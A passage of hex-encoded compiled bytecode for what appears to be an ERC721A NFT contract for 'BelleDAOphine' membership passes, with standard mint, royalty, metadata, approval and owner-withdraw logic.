38101906103f4919061342a565b610bbc565b604051610406919061400f565b60405180910390f35b34801561041b57600080fd5b50610424610dba565b604051610431919061400f565b60405180910390f35b34801561044657600080fd5b5061044f610dc0565b005b34801561045d57600080fd5b5061047860048036038101906104739190613324565b610e8b565b005b34801561048657600080fd5b506104a1600480360381019061049c919061354b565b610eab565b6040516104ae919061400f565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d9919061350a565b610efe565b005b3480156104ec57600080fd5b506105076004803603810190610502919061354b565b610f94565b6040516105149190613c02565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f91906132bf565b610faa565b604051610551919061400f565b60405180910390f35b34801561056657600080fd5b5061056f611093565b60405161057c9190613cad565b60405180910390f35b34801561059157600080fd5b5061059a611125565b005b3480156105a857600080fd5b506105c360048036038101906105be919061354b565b6111ad565b005b3480156105d157600080fd5b506105da61134a565b6040516105e79190613c02565b60405180910390f35b3480156105fc57600080fd5b50610605611374565b6040516106129190613cad565b60405180910390f35b34801561062757600080fd5b50610630611406565b60405161063d919061400f565b60405180910390f35b610660600480360381019061065b919061354b565b61140c565b005b34801561066e57600080fd5b50610689600480360381019061068491906133ee565b6115c7565b005b34801561069757600080fd5b506106b260048036038101906106ad9190613373565b611748565b005b3480156106c057600080fd5b506106c96117a4565b6040516106d6919061400f565b60405180910390f35b3480156106eb57600080fd5b506107066004803603810190610701919061354b565b6117a9565b6040516107139190613cad565b60405180910390f35b34801561072857600080fd5b5061073161183c565b60405161073e919061400f565b60405180910390f35b34801561075357600080fd5b5061076e60048036038101906107699190613466565b611842565b005b34801561077c57600080fd5b50610797600480360381019061079291906132e8565b6118db565b6040516107a49190613c92565b60405180910390f35b3480156107b957600080fd5b506107d460048036038101906107cf91906132bf565b6119f5565b005b60007f2a55205a000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610849575061084882611aed565b5b9050919050565b60606001805461085f906143a6565b80601f016020809104026020016040519081016040528092919081815260200182805461088b906143a6565b80156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b5050505050905090565b662386f26fc1000081565b60006108f882611c37565b610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e90613fcf565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061097d82610f94565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e590613e8f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610a0d611c44565b73ffffffffffffffffffffffffffffffffffffffff161480610a3c5750610a3b81610a36611c44565b6118db565b5b610a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7290613dcf565b60405180910390fd5b610a86838383611c4c565b505050565b60008054905090565b600e60009054906101000a900460ff1681565b610ab2838383611cfe565b505050565b610abf611c44565b73ffffffffffffffffffffffffffffffffffffffff16610add61134a565b73ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2a90613e2f565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b600080610b5c84611c37565b610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290613daf565b60405180910390fd5b30610bb1610baa8560056122b7565b60646122cd565b915091509250929050565b6000610bc783610faa565b8210610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90613ccf565b60405180910390fd5b6000610c12610a8b565b905060008060005b83811015610d78576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610d0c57806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d645786841415610d55578195505050505050610db4565b8380610d6090614409565b9450505b508080610d7090614409565b915050610c1a565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab90613f4f565b60405180910390fd5b92915050565b600d5481565b610dc8611c44565b73ffffffffffffffffffffffffffffffffffffffff16610de661134a565b73ffffffffffffffffffffffffffffffffffffffff1614610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390613e2f565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e87573d6000803e3d6000fd5b5050565b610ea683838360405180602001604052806000815250611748565b505050565b6000610eb5610a8b565b8210610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed90613d2f565b60405180910390fd5b819050919050565b610f06611c44565b73ffffffffffffffffffffffffffffffffffffffff16610f2461134a565b73ffffffffffffffffffffffffffffffffffffffff1614610f7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7190613e2f565b60405180910390fd5b80600a9080519060200190610f90929190613094565b5050565b6000610f9f826122e3565b600001519050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101290613def565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6060600a80546110a2906143a6565b80601f01602080910402602001604051908101604052809291908181526020018280546110ce906143a6565b801561111b5780601f106110f05761010080835404028352916020019161111b565b820191906000526020600020905b8154815290600101906020018083116110fe57829003601f168201915b5050505050905090565b61112d611c44565b73ffffffffffffffffffffffffffffffffffffffff1661114b61134a565b73ffffffffffffffffffffffffffffffffffffffff16146111a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119890613e2f565b60405180910390fd5b6111ab60006124e6565b565b600260095414156111f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ea90613f6f565b60405180910390fd5b6002600981905550600e60009054906101000a900460ff1661124a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124190613faf565b60405180910390fd5b80600d5481611257610a8b565b611261919061414f565b11156112a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129990613d4f565b60405180910390fd5b8160148111156112e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112de90613d8f565b60405180910390fd5b600c546112f2610a8b565b1115611333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132a90613f0f565b60405180910390fd5b61133d33846125ac565b5050600160098190555050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611383906143a6565b80601f01602080910402602001604051908101604052809291908181526020018280546113af906143a6565b80156113fc5780601f106113d1576101008083540402835291602001916113fc565b820191906000526020600020905b8154815290600101906020018083116113df57829003601f168201915b5050505050905090565b600c5481565b60026009541415611452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144990613f6f565b60405180910390fd5b6002600981905550662386f26fc1000081600c5461146e610a8b565b11156114c25734818361148191906141d6565b146114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890613f2f565b60405180910390fd5b5b600e60009054906101000a900460ff16611511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150890613faf565b60405180910390fd5b82600d548161151e610a8b565b611528919061414f565b1115611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090613d4f565b60405180910390fd5b8360148111156115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613d8f565b60405180910390fd5b6115b833866125ac565b50505050600160098190555050565b6115cf611c44565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490613e4f565b60405180910390fd5b806006600061164a611c44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166116f7611c44565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161173c9190613c92565b60405180910390a35050565b611753848484611cfe565b61175f848484846125ca565b61179e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179590613eaf565b60405180910390fd5b50505050565b601481565b60606000600a6117b884612761565b6040516020016117c9929190613b61565b6040516020818303038152906040529050600061180e6117e885612761565b836040516020016117fa929190613b9b565b60405160208183030381529060405261290e565b9050806040516020016118219190613be0565b60405160208183030381529060405291508192505050919050565b60075481565b61184a611c44565b73ffffffffffffffffffffffffffffffffffffffff1661186861134a565b73ffffffffffffffffffffffffffffffffffffffff16146118be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b590613e2f565b60405180910390fd5b80600b60146101000a81548160ff02191690831515021790555050565b600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600b60149054906101000a900460ff1680156119d257508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663c4552791866040518263ffffffff1660e01b815260040161196a9190613c02565b60206040518083038186803b15801561198257600080fd5b505afa158015611996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119ba91906134e1565b73ffffffffffffffffffffffffffffffffffffffff16145b156119e15760019150506119ef565b6119eb8484612a98565b9150505b92915050565b6119fd611c44565b73ffffffffffffffffffffffffffffffffffffffff16611a1b61134a565b73ffffffffffffffffffffffffffffffffffffffff1614611a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6890613e2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890613cef565b60405180910390fd5b611aea816124e6565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611bb857507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611c2057507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611c305750611c2f82612b2c565b5b9050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000611d09826122e3565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16611d30611c44565b73ffffffffffffffffffffffffffffffffffffffff161480611d8c5750611d55611c44565b73ffffffffffffffffffffffffffffffffffffffff16611d74846108ed565b73ffffffffffffffffffffffffffffffffffffffff16145b80611da85750611da78260000151611da2611c44565b6118db565b5b905080611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de190613e6f565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614611e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5390613e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec390613d6f565b60405180910390fd5b611ed98585856001612b96565b611ee96000848460000151611c4c565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16611f579190614230565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16611ffb9190614109565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060405180604001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050506000600184612101919061414f565b9050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122475761217781611c37565b15612246576040518060400160405280846000015173ffffffffffffffffffffffffffffffffffffffff168152602001846020015167ffffffffffffffff168152506003600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b5b838573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46122af8686866001612b9c565b505050505050565b600081836122c591906141d6565b905092915050565b600081836122db91906141a5565b905092915050565b6122eb61311a565b6122f482611c37565b612333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232a90613d0f565b60405180910390fd5b60007f000000000000000000000000000000000000000000000000000000000000001483106123975760017f00000000000000000000000000000000000000000000000000000000000000148461238a9190614264565b612394919061414f565b90505b60008390505b8181106124a5576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612491578093505050506124e1565b50808061249d9061437c565b91505061239d565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d890613f8f565b60405180910390fd5b919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6125c6828260405180602001604052806000815250612ba2565b5050565b60006125eb8473ffffffffffffffffffffffffffffffffffffffff16613081565b15612754578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612614611c44565b8786866040518563ffffffff1660e01b81526004016126369493929190613c1d565b602060405180830381600087803b15801561265057600080fd5b505af192505050801561268157506040513d601f19601f8201168201806040525081019061267e91906134b8565b60015b612704573d80600081146126b1576040519150601f19603f3d011682016040523d82523d6000602084013e6126b6565b606091505b506000815114156126fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f390613eaf565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612759565b600190505b949350505050565b606060008214156127a9576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612909565b600082905060005b600082146127db5780806127c490614409565b915050600a826127d491906141a5565b91506127b1565b60008167ffffffffffffffff81111561281d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561284f5781602001600182028036833780820191505090505b5090505b60008514612902576001826128689190614264565b9150600a856128779190614452565b6030612883919061414f565b60f81b8183815181106128bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856128fb91906141a5565b9450612853565b8093505050505b919050565b606060008251141561293157604051806020016040528060008152509050612a93565b6000604051806060016040528060408152602001614ec16040913990506000600360028551612960919061414f565b61296a91906141a5565b600461297691906141d6565b67ffffffffffffffff8111156129b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156129e75781602001600182028036833780820191505090505b509050600182016020820185865187015b80821015612a53576003820191508151603f8160121c168501518453600184019350603f81600c1c168501518453600184019350603f8160061c168501518453600184019350603f81168501518453600184019350506129f8565b5050600386510660018114612a6f5760028114612a8257612a8a565b603d6001830353603d6002830353612a8a565b603d60018303535b50505080925050505b919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b50505050565b50505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f90613eef565b60405180910390fd5b612c2181611c37565b15612c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5890613ecf565b60405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000000014831115612cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cbb90613fef565b60405180910390fd5b612cd16000858386612b96565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152505090506040518060400160405280858360000151612dce9190614109565b6fffffffffffffffffffffffffffffffff168152602001858360200151612df59190614109565b6fffffffffffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505060405180604001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050600082905060005b8581101561306457818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461300460008884886125ca565b613043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161303a90613eaf565b60405180910390fd5b818061304e90614409565b925050808061305c90614409565b915050612f93565b50806000819055506130796000878588612b9c565b505050505050565b600080823b905060008111915050919050565b8280546130a0906143a6565b90600052602060002090601f0160209004810192826130c25760008555613109565b82601f106130db57805160ff1916838001178555613109565b82800160010185558215613109579182015b828111156131085782518255916020019190600101906130ed565b5b5090506131169190613154565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b8082111561316d576000816000905550600101613155565b5090565b600061318461317f8461404f565b61402a565b90508281526020810184848401111561319c57600080fd5b6131a784828561433a565b509392505050565b60006131c26131bd84614080565b61402a565b9050828152602081018484840111156131da57600080fd5b6131e584828561433a565b509392505050565b6000813590506131fc81614e4d565b92915050565b60008135905061321181614e64565b92915050565b60008135905061322681614e7b565b92915050565b60008151905061323b81614e7b565b92915050565b600082601f83011261325257600080fd5b8135613262848260208601613171565b91505092915050565b60008151905061327a81614e92565b92915050565b600082601f83011261329157600080fd5b81356132a18482602086016131af565b91505092915050565b6000813590506132b981614ea9565b92915050565b6000602082840312156132d157600080fd5b60006132df848285016131ed565b91505092915050565b600080604083850312156132fb57600080fd5b6000613309858286016131ed565b925050602061331a858286016131ed565b9150509250929050565b60008060006060848603121561333957600080fd5b6000613347868287016131ed565b9350506020613358868287016131ed565b9250506040613369868287016132aa565b9150509250925092565b6000806000806080858703121561338957600080fd5b6000613397878288016131ed565b94505060206133a8878288016131ed565b93505060406133b9878288016132aa565b925050606085013567ffffffffffffffff8111156133d657600080fd5b6133e287828801613241565b91505092959194509250565b6000806040838503121561340157600080fd5b600061340f858286016131ed565b925050602061342085828601613202565b9150509250929050565b6000806040838503121561343d57600080fd5b600061344b858286016131ed565b925050602061345c858286016132aa565b9150509250929050565b60006020828403121561347857600080fd5b600061348684828501613202565b91505092915050565b6000602082840312156134a157600080fd5b60006134af84828501613217565b91505092915050565b6000602082840312156134ca57600080fd5b60006134d88482850161322c565b91505092915050565b6000602082840312156134f357600080fd5b60006135018482850161326b565b91505092915050565b60006020828403121561351c57600080fd5b600082013567ffffffffffffffff81111561353657600080fd5b61354284828501613280565b91505092915050565b60006020828403121561355d57600080fd5b600061356b848285016132aa565b91505092915050565b6000806040838503121561358757600080fd5b6000613595858286016132aa565b92505060206135a6858286016132aa565b9150509250929050565b6135b981614298565b82525050565b6135c8816142aa565b82525050565b60006135d9826140c6565b6135e381856140dc565b93506135f3818560208601614349565b6135fc8161453f565b840191505092915050565b6000613612826140d1565b61361c81856140ed565b935061362c818560208601614349565b6136358161453f565b840191505092915050565b600061364b826140d1565b61365581856140fe565b9350613665818560208601614349565b80840191505092915050565b6000815461367e816143a6565b61368881866140fe565b945060018216600081146136a357600181146136b4576136e7565b60ff198316865281860193506136e7565b6136bd856140b1565b60005b838110156136df578154818901526001820191506020810190506136c0565b838801955050505b50505092915050565b60006136fd6022836140ed565b915061370882614550565b604082019050919050565b6000613721610109836140fe565b915061372c8261459f565b61010982019050919050565b6000613745601f836140fe565b9150613750826146f9565b601f82019050919050565b60006137686026836140ed565b915061377382614722565b604082019050919050565b600061378b602a836140ed565b915061379682614771565b604082019050919050565b60006137ae6004836140fe565b91506137b9826147c0565b600482019050919050565b60006137d16023836140ed565b91506137dc826147e9565b604082019050919050565b60006137f46022836140ed565b91506137ff82614838565b604082019050919050565b60006138176025836140ed565b915061382282614887565b604082019050919050565b600061383a6022836140ed565b9150613845826148d6565b604082019050919050565b600061385d6011836140ed565b915061386882614925565b602082019050919050565b60006138806039836140ed565b915061388b8261494e565b604082019050919050565b60006138a36002836140fe565b91506138ae8261499d565b600282019050919050565b60006138c6602b836140ed565b91506138d1826149c6565b604082019050919050565b60006138e96026836140ed565b91506138f482614a15565b604082019050919050565b600061390c6020836140ed565b915061391782614a64565b602082019050919050565b600061392f601a836140ed565b915061393a82614a8d565b602082019050919050565b60006139526032836140ed565b915061395d82614ab6565b604082019050919050565b6000613975601d836140fe565b915061398082614b05565b601d82019050919050565b60006139986022836140ed565b91506139a382614b2e565b604082019050919050565b60006139bb6033836140ed565b91506139c682614b7d565b604082019050919050565b60006139de601d836140ed565b91506139e982614bcc565b602082019050919050565b6000613a016021836140ed565b9150613a0c82614bf5565b604082019050919050565b6000613a24601c836140ed565b9150613a2f82614c44565b602082019050919050565b6000613a476018836140ed565b9150613a5282614c6d565b602082019050919050565b6000613a6a602e836140ed565b9150613a7582614c96565b604082019050919050565b6000613a8d601f836140ed565b9150613a9882614ce5565b602082019050919050565b6000613ab0602f836140ed565b9150613abb82614d0e565b604082019050919050565b6000613ad36017836140ed565b9150613ade82614d5d565b602082019050919050565b6000613af6602d836140ed565b9150613b0182614d86565b604082019050919050565b6000613b196022836140ed565b9150613b2482614dd5565b604082019050919050565b6000613b3c6001836140fe565b9150613b4782614e24565b600182019050919050565b613b5b81614330565b82525050565b6000613b6d8285613671565b9150613b7882613b2f565b9150613b848284613640565b9150613b8f826137a1565b91508190509392505050565b6000613ba682613738565b9150613bb28285613640565b9150613bbd82613713565b9150613bc98284613640565b9150613bd482613896565b91508190509392505050565b6000613beb82613968565b9150613bf78284613640565b915081905092915050565b6000602082019050613c1760008301846135b0565b92915050565b6000608082019050613c3260008301876135b0565b613c3f60208301866135b0565b613c4c6040830185613b52565b8181036060830152613c5e81846135ce565b905095945050505050565b6000604082019050613c7e60008301856135b0565b613c8b6020830184613b52565b9392505050565b6000602082019050613ca760008301846135bf565b92915050565b60006020820190508181036000830152613cc78184613607565b905092915050565b60006020820190508181036000830152613ce8816136f0565b9050919050565b60006020820190508181036000830152613d088161375b565b9050919050565b60006020820190508181036000830152613d288161377e565b9050919050565b60006020820190508181036000830152613d48816137c4565b9050919050565b60006020820190508181036000830152613d68816137e7565b9050919050565b60006020820190508181036000830152613d888161380a565b9050919050565b60006020820190508181036000830152613da88161382d565b9050919050565b60006020820190508181036000830152613dc881613850565b9050919050565b60006020820190508181036000830152613de881613873565b9050919050565b60006020820190508181036000830152613e08816138b9565b9050919050565b60006020820190508181036000830152613e28816138dc565b9050919050565b60006020820190508181036000830152613e48816138ff565b9050919050565b60006020820190508181036000830152613e6881613922565b9050919050565b60006020820190508181036000830152613e8881613945565b9050919050565b60006020820190508181036000830152613ea88161398b565b9050919050565b60006020820190508181036000830152613ec8816139ae565b9050919050565b60006020820190508181036000830152613ee8816139d1565b9050919050565b60006020820190508181036000830152613f08816139f4565b9050919050565b60006020820190508181036000830152613f2881613a17565b9050919050565b60006020820190508181036000830152613f4881613a3a565b9050919050565b60006020820190508181036000830152613f6881613a5d565b9050919050565b60006020820190508181036000830152613f8881613a80565b9050919050565b60006020820190508181036000830152613fa881613aa3565b9050919050565b60006020820190508181036000830152613fc881613ac6565b9050919050565b60006020820190508181036000830152613fe881613ae9565b9050919050565b6000602082019050818103600083015261400881613b0c565b9050919050565b60006020820190506140246000830184613b52565b92915050565b6000614034614045565b905061404082826143d8565b919050565b6000604051905090565b600067ffffffffffffffff82111561406a57614069614510565b5b6140738261453f565b9050602081019050919050565b600067ffffffffffffffff82111561409b5761409a614510565b5b6140a48261453f565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614114826142f4565b915061411f836142f4565b9250826fffffffffffffffffffffffffffffffff0382111561414457614143614483565b5b828201905092915050565b600061415a82614330565b915061416583614330565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561419a57614199614483565b5b828201905092915050565b60006141b082614330565b91506141bb83614330565b9250826141cb576141ca6144b2565b5b828204905092915050565b60006141e182614330565b91506141ec83614330565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561422557614224614483565b5b828202905092915050565b600061423b826142f4565b9150614246836142f4565b92508282101561425957614258614483565b5b828203905092915050565b600061426f82614330565b915061427a83614330565b92508282101561428d5761428c614483565b5b828203905092915050565b60006142a382614310565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006142ed82614298565b9050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561436757808201518184015260208101905061434c565b83811115614376576000848401525b50505050565b600061438782614330565b9150600082141561439b5761439a614483565b5b600182039050919050565b600060028204905060018216806143be57607f821691505b602082108114156143d2576143d16144e1565b5b50919050565b6143e18261453f565b810181811067ffffffffffffffff82111715614400576143ff614510565b5b80604052505050565b600061441482614330565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561444757614446614483565b5b600182019050919050565b600061445d82614330565b915061446883614330565b925082614478576144776144b2565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f222c20226465736372697074696f6e223a20224869212054686973206973204260008201527f656c6c6544414f7068696e65203c332057656c636f6d6520746f206d7920637560208201527f746520616e64207765697264206c696c20776f726c642e2e205468697320697360408201527f20776865726520796f752077696c6c2066696e642031313131206d656d62657260608201527f7368697020706173736573207468617420776f6e7420626520666f756e64206160808201527f6e79776865726520656c736521204920616d20736f206578636974656420746f60a08201527f20736861726520746869732073696c6c792c2076756c6e657261626c652c206160c08201527f6e64206d61676963616c206a6f75726e6579207769746820796f752e222c202260e08201527f696d616765223a2022000000000000000000000000000000000